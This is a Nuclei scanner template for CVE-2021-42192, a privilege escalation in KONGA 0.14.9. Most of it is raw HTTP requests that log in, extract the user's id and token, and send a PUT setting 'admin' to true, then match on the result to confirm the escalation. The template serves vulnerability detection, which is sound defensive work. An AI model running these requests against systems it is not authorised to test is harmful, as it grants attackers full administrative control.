83 lines
2.2 KiB
YAML
83 lines
2.2 KiB
YAML
id: CVE-2021-42192
|
|
|
|
info:
|
|
name: KONGA 0.14.9 - Privilege Escalation
|
|
author: rschio
|
|
severity: high
|
|
description: KONGA 0.14.9 allows attackers to set higher privilege users to full administration access. The attack vector is a crafted condition, as demonstrated by the /api/user/{ID} at ADMIN parameter.
|
|
reference:
|
|
- http://n0hat.blogspot.com/2021/11/konga-0149-privilege-escalation-exploit.html
|
|
- https://www.exploit-db.com/exploits/50521
|
|
- hhttps://nvd.nist.gov/vuln/detail/CVE-2021-42192
|
|
- https://docs.google.com/document/d/1-YU9zWiDVUps3Mb6zos3996yvZ48vW_vfOvaJLLHc4I/edit?usp=sharing
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.8
|
|
cve-id: CVE-2021-42192
|
|
cwe-id: CWE-269
|
|
tags: authenticated,edb,cve,cve2021,konga
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /login HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/json
|
|
|
|
{"password": "{{password}}", "identifier": "{{username}}"}
|
|
|
|
- |
|
|
POST /api/user/{{id}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
Referer: {{BaseURL}}
|
|
Content-Type: application/json;charset=utf-8
|
|
|
|
{"token": "{{token}}"}
|
|
|
|
- |
|
|
PUT /api/user/{{id}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
Referer: {{BaseURL}}
|
|
Content-Type: application/json;charset=utf-8
|
|
|
|
{"admin": "true", "passports": {"password": "{{password}}", "protocol": "local"}, "token": "{{token}}", "password_confirmation": "{{password}}"}
|
|
|
|
req-condition: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(body_2, "\"admin\":false")'
|
|
- 'contains(body_3, "\"admin\":true")'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "application/json"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
part: body
|
|
name: id
|
|
internal: true
|
|
group: 1
|
|
regex:
|
|
- '"id":([0-9]+)'
|
|
|
|
- type: regex
|
|
part: body
|
|
name: token
|
|
internal: true
|
|
group: 1
|
|
regex:
|
|
- '"token":"(.*)"'
|
|
|
|
# Enhanced by mp on 2022/06/30
|